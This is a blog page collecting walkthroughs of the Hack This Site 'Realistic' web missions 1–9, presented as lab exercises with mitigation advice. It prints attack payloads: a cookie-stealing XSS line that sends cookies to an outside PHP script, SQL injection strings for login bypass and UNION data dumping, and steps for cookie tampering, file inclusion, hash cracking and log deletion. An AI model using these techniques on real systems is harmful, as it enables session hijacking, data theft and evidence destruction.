Category: Hack This Site

Hello world, welcome to haxez where today we’re looking at Hack This SIte Realistic Web Mission 9. To put it another way, we are going to take down the software giant crappy soft. No longer will it hold its employees to ransom while they produce subpar software. This mission was a lot of fun, the route to completion had more turns and twists than previous missions. In order to complete this mission, we will be using javascript to steal cookies. Furthermore, we then had to manipulate our cookies to access the payroll system and pay their employees. Once that was done, we had to manipulate a hidden form parameter to delete log files. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2, Part 3, Part 4, Part 5, Part 6, Part 7 and, Part 8.

Realistic 9 Introduction

As can be seen, we’ve received a message from someone called R Conner. To summarise, the client explains that their boss has stopped paying their salaries and that their rent is due. Given these points, they have asked us if we could hack into the online payroll system and process their payment. For this reason, they have provided their log-in credentials hoping that they could be of some assistance.

Exploring The Realistic 9 Web Application

The application has a fairly basic design. Notably, there is a header at the top and a navigation menu on the left. Furthermore, the navigation menu contains a link to Home, Mailing List, Contact, and Demo. The mailing list allows the visitor to submit their email address. Additionally, the contact form does exactly what it says on the tin, it allows the visitor to send an email. The demo page allows the visitor to download a demo of their software.

Hijacking The Web Cookies

The client gave us their credentials, let’s log in and see what’s going on. Unsurprisingly, once we have logged in we have a number of new options. Private Message and Pay Salaries. Clicking the Pay Salaries link produces an error message that we need to be an Administrator. Somehow, we will need to steal the Administrators credentials. Heading over to the private messages section, we have the option to send private messages to the owner/administrator.

In order to gain access to the administrator’s accounts, we will need to steal their cookies. With this intention, we would normally require deploying a PHP script to a remote web server. Of course, there are plenty available on GitHub but deploying one is beyond the scope of this walkthrough. Perhaps sometime in the future. By sending the following Javascript to our victim, we are performing a Cross-Site scripting attack that steals the cookies and sends them to our malicious domain.

javascript:void(window.location='https://haxez.org/stealcookies.php?'+document.cookie);

By sending the above script to the victim, you will receive a notification informing you of the victim’s cookies.

Manipulating The Web Cookies

Now that we have the victim’s cookies, we can use them to access the payroll system. In order to do this, we will need to either modify the cookies directly in the browser or using a tool like Burp Suite to intercept and modify them. To demonstrate, the image below shows a request to the payday.php page that has been intercepted. It shows that the cookies strUsername and strPassword have been modified to those received from the cookie stealer exploit. Forward the request.

Paying Personell

In some way, it would be easier to modify the cookies directly in your browser. Doing it through Burp Suite requires you to modify the cookies for each request. For instance, we manipulated the cookies to access the payroll page but we need to intercept and modify them again to submit the Pay button as illustrated in the image below. Not modifying the cookies will send the default ones from your browser, which are the client’s cookies.

Realistic 9 Covering Our Tracks

Now that we have successfully brought balance back to R Conner’s world, we need to hide all evidence that we were here. After poking around the site a bit more, I discovered that directory listing was enabled on the files directory. Furthermore, this directory contains downloads, logs, and mailinglist directories. This information could be invaluable for exploiting the web application to delete the log files. We can’t delete them through the directory listing but perhaps we can find another way.

Heading back to the application Mailing List page we can see a message. The message says that the mailing list checks the list for any addresses without an ‘@’ symbol and deletes them. This appears to be active functionality so perhaps we can exploit it.

Exploiting The Mailing List

With this in mind, let’s view the source code of the application mailing list and work out what’s going on. We can see from the image below that a post request is being submitted to the subscribemailing.php page. We can also so that there is a hidden form value that specifies the path of the mailing list. There is a visible form that lets the user include their email address. What would happen if we submitted an email address without the ‘@’ symbol and changed the hidden form value to the log file?

You can do this either directly through your browser’s development console, or you can do it through Burp Suite like me. Using Burp Suite could help defeat some client-side checks (like checks for an ‘@’ symbol). First, you will need to turn intercept on and populate and submit a string to the mailing list. Second, you will need to modify the request to change the location from the addressess.txt file to the /files/logs/logs.txt file. Finally, you need to forward the request. That should allow you to complete your mission.

Hello world, welcome to haxez where today we’re looking at Hack This Site Realistic Web Mission Level 8. This mission requires us to perform an SQL injection to obtain the username of our victim. Once we have the username, we need to register an account and manipulate the cookies in order to transfer ten million dollars from our victim’s account to our client’s account. After that, we need to hide all evidence of our nefarious actions by deleting the log files. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2, Part 3, Part 4, Part 5, Part 6, and Part 7.

Realistic 8 Introduction

We’ve received a message from DarkOneWithANeed. The message explains that an entrepreneur by the name of Gary Hunter has deposited ten million dollars into his United Banks Of America bank account. The purpose of the deposit is so that he can donate it to a campaign. The campaign’s goal is to hunt down and lock up hackers. The client would like us to break in and steal this money.

Exploring The Realistic 8 Web Application

First things first, let’s head over to the application and see what we’re dealing with. At first glance, the web application appears to be fairly basic. It has a number of pages including home, login, register, help, and user info. If we look back at the message, the first challenge is to find the account of Gary Hunter. Fortunately, there appears to be a User Info page.

Realistic 8 Web Application User Info SQL Injection

The user info page allows us to search for users. However, if we search for the name Gary we get a single user returned. We can try searching for the letter A in hopes that it would return all users with an A in their name but that doesn’t work. If we input a single quotation mark we get an SQL error explaining that there was a problem getting username information from table ‘users’. This indicates, that the application is vulnerable to SQL injection.

If we use the following payload in the search box we should get a list of users. The reason this works is that we’re escaping the syntax and adding our own and commenting out the rest. Our syntax is telling the SQL server to return user ‘a’ or anything that’s true (exists).

' or 1=1 --

Once we submit the payload, we should get a list of users returned. If we hit ctrl f on our keyboard we can search for Gary. The first result should be our victim Gary Hunter. Copy and paste his name and the –$$$$$ — value into your notes because we will need it later.

Move Money Cookie Manipulation

Now that we have our victim’s username, we need to transfer the ten million dollars from their account to our client’s account. In order to do this, we need to register our own account and see what functionality we have. I’ve registered the username haxez.

Once the account is created, log in. You should see that you have your account information and two options. Clear files in a personal folder and move money to a different account. Unfortunately, as in real life, we have no money in our bank account. However, perhaps there is a way for us to deceive the web application into think we’re Gary Hunter. If we pre-populate the move money option and load up our favorite web application penetration testing tool, Burp Suite. We can intercept the request before it is sent to the server.

Once you’ve populated the “Move Money” parameters, ensure Burp Suite intercept is on and click the Move Money button. You should see a window like the one below (depending on your theme, dark mode rules). If we analyze the request, you can see that the request is posting to movemoney.php. The contents of the request are two parameters, TO=dropCash and AMOUNT=1000000000. However, the value ten million may look odd because it is being URL encoded. You should also see that there are a number of cookies. The cookies we want to manipulate are “accountUsername” and “accountPassword". Fortunately, Burp allows us to modify these values directly before submitting them. Edit the cookies and replace them with the values we obtained from the SQL injection

(accountUsername=GaryWilliamHunter; accountPassword=-- $$$$$ --;). 

Forward the request.

Web Application Clear Files Hack

Now that we have committed the crime of the century, we need to cover our tracks. The client’s email advises us that the logs are kept in a directory called logFiles. After transferring the funds, you will be logged out of the application. Log back into the application and turn on Burp intercept again. Click the “Clear files in personal folder” button. Jump back to Burp and you should see the request. At the bottom of the headers, you will see the parameter dir=<usernameSQLFiles>. Change this value to logFiles and forward the request.

After that, you can head back to your browser and you should see that you have successfully completed the mission.

Conclusion

This was a fun challenge that allowed us to don the hood of the vigilante hacker once again. While the application was outdated, it demonstrated how poor design choices can lead to weaknesses in security. The SQL injection was possible because the application wasn’t using prepared statements. This could have been mitigated with something similar to the following.

$stmt = $conn->prepare"SELECT FROM Users (Username, Description) VALUES (?)"0;$stmt->bind_param("s", $Username, $Description);

The cookie manipulation that was used to transfer the funds was a fun technique to use. It’s an example of why session tokens and Anti-Cross-Site Request Forgery tokens are important. By having unique non-descript cookies, and server-side checks to verify those cookies, you ensure that malicious threat actors can’t hijack other user’s sessions or in this case, impersonating a user and submitting data.

The directory manipulation on the clear log files form was another great example of why anything being transmitted from the user’s browser shouldn’t be trusted. The data could be manipulated and have unexpected consequences. This could be mitigated by using a session token to reference properties stored in a server-side cache. It could also be mitigated by validating the values before processing them.

Anyway, I hope you enjoyed this post. Come back next time where we will look at realistic 9.

Hello world, welcome to haxez where today we’re looking at the Hack This Site Realistic Web Mission Level 7. This challenge was a lot of fun. Regardless of how old Hack This Site is, it’s still one of the most immersive platforms for testing your hacking skills. The techniques used are still relevant today. However, a lot of the vulnerabilities you would certainly hope not to find on big corporate websites. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2, Part 3, Part 4, Part 5, and Part 6.

Realistic 7 Introduction

Navigating to this challenge, you will be sent a message from FreedomOfChoice. To paraphrase the message, they explain how they have found a hate speech website that’s asking for a hacking. The website is a homophobic website that likes to dictate how other people should live their lives. What’s concerning is how these issues are still relevant today despite these challenges being as old as they are. Progress is slow I guess. I digress, FreedomOfChoice would like us to hack into the admin area of the website which he suggests is hidden in the directory structure somewhere.

Exploring The Realistic 7 Web Application

Upon visiting the application we are presented with the standard hate speech that the internet could use less of. That’s ok though, through our efforts this website is going to cease to exist. At first glance, the website appears to be fairly basic with only a few hyperlinks. We will need to delve a little deeper into the dark recesses of the application to find something we can exploit.

After clicking around the application, I noticed that it’s calling image files in a peculiar way. It’s peculiar because it appears to be performing local file inclusion to access a text file. The local file inclusion immediately sets off alarm bells. As you can see the showimages.php script has a parameter called file, which is calling patriot.txt.

If we navigate to patriot.txt, we can see that it has a list of images that are in the images directory. This is an odd way to embed images into a website. Perhaps, we can use it to our advantage.

Realistic 7 Web Directory Listing Enabled

Navigating to the images directory and we have scored. As you can see, the image below shows a directory listing is enabled. Please note, One important element of Cyber Security is minimizing information disclosure. Having directory listing enabled could divulge information about the application such as its structure, the technologies being used, and even disclose other sensitive information through readable files. There appears to be an admin directory.

Attempting to access the admin directory gives us the expected Unauthorized error message. However, the login prompt appears to be being generated by an htaccess and htpasswd file combination. Previously, other challenges we have seen used an SQL-backed application login.

Exploiting The Web Application

At this point, it’s safe to assume that the application is using htpasswd for authentication. We also know that the file parameter was performing local file inclusion to get the image files. To summarise, perhaps we can use the local file inclusion to our advantage and list out the contents of the admin directory without authenticating.

In order to test this, I used a tool called DIRB. DIRB is a directory and file brute-forcing tool. The location of the admin directory is in /images/admin so I told DIRB to search that directory through the showimages.php?file= parameter.

Web Local File Inclusion

The image above shows the results from running DIRB. as you can see, DIRB found both the htaccess and htpasswd files hidden in the admin directory. What this also means, is that we can use the showimages.php?file= parameter to read the contents of those files. Let’s start with the htaccess file. As you can see from the picture below, the htaccess file is referencing the htpasswd file. This confirms our suspicion that it was being used for authentication.

Now, if we go and look at the htpasswd file. We can see that the htpasswd file contains a password hash for the administrator user. Perhaps, we can crack this password hash and use it to log in to the admin area of the application.

Hash Cracking

With the hash saved in a file called hash.txt, we spin up our Linux ParrotOS virtual machine and ask our dear old friend John The Ripper to crack it for us. I didn’t supply any flags, I just pointed John at the file and he got to work. John quickly identified that it was an MD5 hash. John also cracked the password surprisingly quickly given I was running it on a virtual machine. However, I assume that shadow is fairly high up in the default wordlist.

With the hash cracked and the password saved, we can navigate back to the /images/admin directory and see if our newly acquired administrator password works. When the login box pops up, input administrator for the username and shadow for the password. Click Sign In and you should be authenticated.

And with that, you should be done, congratulations you have now completed a realistic 7.

Conclusion

There is a fair bit to break down in this mission. Let’s get directory listing out the way as it’s something we have touched on before. Directory listing can expose sensitive information to the public. It’s fairly easy to turn off on most web servers and doing so will limit the amount of information a malicious actor could obtain about the environment.

Local file inclusion was the next technique that we used to gather information about the application. I’m pleased to see that the application was using the relative path rather than the absolute path. This minimized information disclosure but the problem was with the way the application was calling the image files. Rather than hard-coding them into the source, it was using a parameter. This allowed us to exploit the trust of that parameter and use it to call other files on the webserver.

Permissions were also lax. The parameter allowed us to access files that were in the admin directory which shouldn’t have been possible.

Anyway, I feel a bit like captain hindsight so with the challenge complete I hope you enjoyed this post. Check back soon for more hacking.

Hello world, welcome to haxez where today we’re looking at Hack This Site Realistic Web Mission Level 6. I’ve been putting this mission on hold to try and write a bash script to decrypt the encryption. However, after several attempts at writing it and not making much progress, I decided to use somebody else’s script. I understand how the algorithm works and how to reverse it. However, writing something to reverse was proving harder than anticipated. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2, Part 3, Part 4, and Part 5.

Realistic 6 Introduction

We have a message from ToxiCo_Watch. They explain that they have been sniffing their companies network due to a toxic waste scandal. They believe that the company has paid off the inspectors but want evidence to prove it. During their network sniffing, they were able to capture, what they believe to be an encrypted message. However, they are having trouble decoding the message and have asked us to help.

Realistic 6 Encrypted Message

ToxiCo_Watch has provided us with a link to a web application that contains the encoded message. The application also contains a link to the web application tool used to encode it. You can see from the image below that the message appears to be a full stop followed by three numbers. This pattern repeats until the end of the message.

Web Encryption Tool

If we head over to the link provided, we have an input box for the text to be encrypted. We also have an input box for the encryption password. If we submit a value without a password, we get some numbers at the top of the screen (4, 44, 49). If we add these numbers together we get 97. 97 is the ASCII decimal number for the letter A, we can repeat this process for other letters and get their corresponding ASCII decimal values returned. However, when we add a value to the encryption password box, the value changes. The value supplied to the encryption password box is also being converted to an ASCII decimal which is being added to the value of the submitted text ASCII value. It is then being split into three numbers which when calculated equals the ASCII value of the text plus the encryption password.

Web Decryption Tool

Provided I explained the encryption process well enough, I should be able to explain how to decrypt it. First, I was going to copy the encoded message into a text file. Second, I was going to use sed to remove the full stops or periods. Third, I was going to use a loop with “expr substr” to pull 3 characters from the file. I was also going to us a variable that incremented 3 digits to jump to the next three characters. Fourth, I was going to calculate the value of the three numbers. Fith, I was going to subtract an incrementing value (representing the encryption password) from the total value. The script would then echo the results to the terminal.

This should have allowed me to identify the correct conversion. However, the script hasn’t gone as planned. I haven’t had as much time to work on it as I would have liked due to other commitments. Fortunately, my programming incompetence can be bypassed by using somebody else’s programming genius. Graeme Robinson’s blog has a great JavaScript solution which we can use to decode the message.

Emailing The Client

Once we have the decoded information, we can send it in a message to ToxiCo_Watch. This should complete the challenge. I hope you can forgive me for not writing my own script to solve this one. I had a basic proof of concept ready but just haven’t had the time to complete it. Perhaps I will in the future and then update this blog.

Hello world, welcome to haxez where today we’re are looking at Hack This Site Realistic Mission 5. This is a fun challenge that requires you to enumerate the web application and then cracked the discovered hashes. In order to solve this mission, you will need some basic knowledge of how Linux web servers work and some knowledge of what password hashes are and how to crack them. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2 and Part 3.

The purpose of this mission is to hack a password for a telemarkets website. With that password, we are to desotry the database thus restoring privacy to the lives of their victims. In order to get the password, we will need to explore the web application to look for clues. Upon logging in we receive the following communication from

Exploring The Realistic 5 Web Appliation

Spiffomatic64 has given us a link to the telemarketer’s application. Visting the web application presents us with the page depicted in the image below. The application has some basic functionality such as a news page, a contact page, and a database page.

Navigating to the news page tells us a lot about the application. Probably more than the creator should have told us. For instance, they inform us that the website was previously hacked. They also inform us that google was grabbing links it shouldn’t so they have taken extra precautions. In order to stop google indexing certain parts of a web application, you can add a Robots Exclusion Standard file to the root of your domain. By adding URLs to the robots.txt file you are telling Google you don’t want those URL’s indexed the next time it crawls the application.

Delving Deeper

Navigating to the robots.txt file we can see that the file is telling all User-Agent (denoted with the asterisk) to disallow indexing of /lib and /secret. Search engine spiders have their own User-Agents that allow applications to identify them and whitelist them. See my post on User-Agent switching on how this could be abused.

Navigating to each of these directories reveals some interesting files. Firstly, in the secrets directory, we have an admin.bak.php file and an admin.php file. We can deduce that the admin.bak.php is likely a backup of the admin.php file. Attempting to access the admin.php file results in an incorrect password warning. This allows us to conclude that the admin.php page is the page we’re attempting to gain access to.

Moving forward, let’s take a look at the admin.bak.php file. I’ve downloaded a copy of this file to my virtual machine and used the cat command to display the contents. We can see from the file that there is a reference to MD4. MD4 is a hashing algorithm that was used to hash passwords. Hashing passwords attempts to protect passwords in the event that they are leaked.

The Application Hack

Going back to the robots.txt file there was another directory called lib. Navigating to this directory shows a file called hash. If we download this file and view the contents it appears as if we have recovered a password hash of “51ba17c17338c1031e11432dfb47105a”.

Based on the information we found in the admin.bak.php file, we can safely assume that the hash is an MD4 . Fortunately, MD4’s are a fairly old hashing algorithm and can be cracked easily. I attempted to crack the hash online using crackstation.net and a few other sites but it appears the sneaky admin’s over at Hack This Site like to change the hashes periodically, and this hash hadn’t been cracked before. So in order to crack the hash we needed to contact our old friend John. Using John The Ripper I specified the format of MD4 and told John which file to crack. Normally I would specify a wordlist but I left John to use his default one. The command to crack the hash is as follows.

john --format=raw-MD4 <file-to-crack>

Once the correct password has been recovered, you can head over to the database link on the main page and paste it in. This should complete the mission.

Hello and welcome to haxez, today we’re looking at Hack This Site Realistic Web Mission Level 4. I liked this challenge although I was confused about the syntax used to complete the mission. The mission requires you to perform a UNION ALL SQL Injection in order to grab email addresses from a database. Once you have the email address, you need to email them to the client. If you haven’t seen my other posts are the realistic series you can do so here: Part 1, Part 2 and Part 3.

The mission should you chose to accept it is to hack the FAP website and steal the email addresses of everyone on the mailing list. Why?, because FAP kills animals to sell their pelts to rich customers. SaveTheWhales has kindly asked us if we can get the mailing list and send it to him so that he may “contact them”.

Exploring The Realistic 4 Website

Visiting the website, you’re greeted with a fairly simple page that explains what the web application is about. There is a submission box to add your email address to the mailing list. There are also two links, one to Fur Coats and one to Alligator Accessories (poor Alligators). We could try attacking the mailing list submission system but for now, let’s continue exploring the application.

Following the Fur Coats and Alligator Accessories links takes you to the corresponding product pages. These pages appear to be dynamic, as though they were being generated by an SQL Query. If we look at the structure of the page, it can be broken down into three database columns Picture, Description, and Price. We can also assume that there is a table for email addresses.

The Website Hack

Although the application didn’t error when appending a single quotation mark. We can still attempt to perm a UNION SQL injection. The syntax for the specific SQL injection to retrieve the data confuses me slightly. For example, W3Schools and Portswigger have excellent articles on UNION SELECT and UNION SQL injections. W3Schools explains that the difference between UNION SELECT and UNION ALL SELECT is that UNION ALL SELECT will include duplicate values whereas, UNION SELECT won’t. The information that we exfiltrate from the database doesn’t have duplicate values but the UNION SELECT injection doesn’t work. Furthermore, Portswigger has a number of examples and they all start with a single quotation mark to break out of the existing SQL query. Adding a single quotation mark to the UNION ALL SELECT command here doesn’t work. I’m probably misunderstanding what’s going on but feel free to leave me a comment.

Anyway, back to the hack. So we know there are likely three table columns. One for the product picture, one for the product description, and one for the product price. We also know that there is likely a table called email, or emails. With this information, we can structure our UNION ALL SELECT command.

SQL Injection

Firstly, in order to perform an SQL injection on realistic 4, we need to tell the application what type of query we’re performing.

UNION ALL SELECT

Secondly, we tell the database what columns we want and what column we want to inject our data into. This works with both columns two and three. However, if you inject it into column two your font will be normal but if you inject it into column three your font will be bold. This matches the formatting of the website.

NULL, *, NULL, NULL

Finally, we tell it where we want to query the data from. For example, we want to pull the data from the email table. We also need to end the query with a semicolon.

FROM EMAIL;

Put it all together and you should have an SQL injection that looks like the following.

UNION ALL SELECT NULL, *, NULL, NULL FROM email;

Moving forward, we need to append the SQL injection to the end of the URL after the 1. The query should look something similar to the image below depending on your injection point and the case of your characters.

Once you have done that, hit return on your keyboard and you should see the web application load with some additional information. The email addresses from the mailing list have been included with the product queries.

Copy the email addresses from the page and head back to the main HackThisSite website. Click your name on the left-hand side and then when your profile loads, click it again. You will now a send message box. Change the recipient to SaveTheWhales and send them the list of email addresses that you hacked from the FAP website.

That’s it, you should now have completed this mission. This was a fun mission that uses a practical exploitation technique in the form of a UNION-based SQL injection. While I argue that the syntax is a bit odd and will wait for someone to correct me before changing my mind, it is a good example. What we can learn from this is that queries to back-end databases should use prepared statements. Use prepared statements!!!

Anyway, thats Realistic 4 hacked and that’s it for today. I hope you enjoyed it. Please check out the video and I will see you next time.

Hello world, welcome to haxez where today we are looking at Hack This Site Realistic Mission number 3. This mission requires knowledge of website structures and how web forms work. To summarise, It’s a fun mission but some of the syntax is incorrect unless I’m mistaken. If you haven’t seen my other posts are the realistic series you can do so here: Part 1, and Part 2.

Upon navigating to realistic mission 4, you are greeted with the following message from PeacePoetry. The message explains that she has built her own site to submit and share peace-related poetry. However, someone has hacked her website and posted pro-war propaganda. She has asked whether we can hack her website to restore the original content.

Exploring The Realistic 3 Website

Upon visiting the website, we’re presented with a title that says the page has been hacked. There is a picture of a majestic and patriotic eagle. The website doesn’t have much functionality other than that.

There isn’t much going on at the surface level. Let’s dig a little deeper and see what is going on in the page source. As shown below, the image shows the page source and that the hackers kindly left a message to inform us where the old site was located. As a result, the old site can be found at oldindex.html.

If we navigate to the oldindex.html, we find the original website. Furthermore, It has a bit of dynamic functionality that allows you to submit and read poems. The Poem submission system appears to write the poems directly to the directory where the website is located. We can use the Poem submission system to restore the hacked website.

Restore Website Hack

If you head back to the oldindex.html page, you can view the page source. Select all of the page source and copy it to your clipboard or save it in a notepad document. Once you have it copied, head back to the poem submission system.

Paste the page source for the oldindex.html page into the Poem content box. In addition, name your Poem ../index.html. I’m not sure why we need to step up a directory to overwrite the current index.html page. Looking through the website content, everything appears to be stored in the /3/ directory. It shouldn’t require directory traversal to overwrite the page. I digress, with the name of the poem as ../index.html, it should overwrite the currently hacked index.html with the page source of the original website. This won’t fix the vulnerability. However, it will bring the old site back as the primary page.

Clicking submit will solve the challenge

Hello world, welcome to haxez where today we are looking at Hack This Site Realistic Mission level 2 where we need to hack the Nazis. Personally, I loved this mission. It’s much more immersive than the basic challenges as the website you need to hack could be real. While the web application only has two pages, the main page sets the tone instantly. In order to complete this mission, we need to perform an SQL Injection on the login page of the Nazi Web Application. Please check out my article on Realistic 1 if you haven’t already done so.

Navigating to Realistic 2 presents you with a message from someone called DestroyFacism. They have heard we are a good hacker and want our assistance taking care of the Nazis. The Nazis are organizing a hate rally against immigration. We can’t have that, let’s take them down.

Exploring The Realistic 2 Web Application

Loading their web application, the symbolism is strong. If you’re easily offended by Nazi symbolism then maybe this one isn’t for you. Personally, I love the fact that I’m getting to hack the Nazis, it feels so freaking cool. Anyway, back to the technical stuff. The website appears to be basic, there is no interaction other than the images. I don’t recommend clicking on them as they do link to a real Nazi website.

As there isn’t much going on at the surface, let’s look at what’s going on under the hood. There isn’t much to see except for a URL which we didn’t see on the main page. The URL references a page called update.php, as the main page is likely index.html or index.php we can assume this is a different page.

Navigating to update.php, we get a login form. This is going to be the method we use to hack the application. There could be a number of techniques used to hack it (such as brute-forcing), but we should test if the application is vulnerable to SQL injection. In order to do this, we can use a single quotation mark to escape the login forms SQL query and append our own data to the query.

Web Application Hack

Submitting a single quotation mark to the application caused it to error. This means the application isn’t using prepared statements for SQL queries. To elaborate, prepared statements use placeholders such as question marks to reference SQL queries. This means that the SQL query can’t be escaped because it is being called by the placeholder. However, as this application produced an SQL error it most definitely isn’t using prepared statements which means we can hack it.

By entering a value and escaping it with a single quotation mark, we can append our own SQL query to the current query. The value we are going to append is:

'or 1=1 --

This value will help us bypass the authentication because the answer is true. 1 does equal 1 so the SQL server will allow us to access the area of the application that the login form was protecting.

After submitting the value you will have completed the mission. This is by far one of the best missions I’ve come across doing labs. It’s an easy lab but the theme of it is brilliant, who wouldn’t love to hack Nazis. It also uses a practical exploit which is still common in the wild. Injection attacks were number 1 on the OWASP top ten up until recently. The lesson that can be learned from this is to use prepared statements when your web application needs to query a SQL server.

Hello world, welcome to haxez where today today we are looking at the Hack This Site Realistic Web Mission level 1. This mission requires the hacker to modify the source of the web application to modify its behavior. The reason behind the hack is to increase the rank of the band Raging Inferno. This hack uses a similar technique to one of the basic missions where we had to modify Sam’s email address to send the email to ourselves. If you want to read my posts about the basic missions, you can do so here.

Navigating to realistic mission 1, you are presented with a message from HeavyMetalRyan who explains that he made a bet that his band would be ranked first. Unfortunately, two of his band members died in an accident but the person he made the bet with insists the bet is still on. HeavyMetalRyan would like us to hack the web application so that his band is at the top of the chart.

Exploring The Realistic 1 Web Application

The functionality of the application appears to be basic. Each band is listed and has a voting option next to them. The voting option allows the user to submit a score between one and five. There doesn’t appear to be any other functionality on the application other than links to the band.

HeavyMetalRyan said in his message, that his band is called Raging Inferno. So far, they don’t appear to have the most rave reviews. Using the voting system appears to submit the value of the selected number back to the server. In order to hack the application, we will need to view the page source.

Web Application Hack

In order to “hack” the application, we need to look at the page source and make some modifications before submitting the vote. This can be done in many browsers by right-clicking on the page and selecting view source from the context menu. The image below shows the page source before modification. You can see that option 5 has a value of 5. When the vote button is pressed, the value 5 will be recorded as the vote.

In order to complete this challenge, we need to modify the value of 5 to a significantly higher value. This means that when the vote button is clicked, the higher value will be submitted rather than the value of 5. The image below shows the page source after the modification has taken place.

Once the value has been modified, we can select the option that we have modified and click the vote button. This should send the modified value back to the server instead of the originally intended value.

With the vote submitted you should have now completed the challenge. I hope you enjoyed this post but please check out the video if you would prefer to watch a demonstration.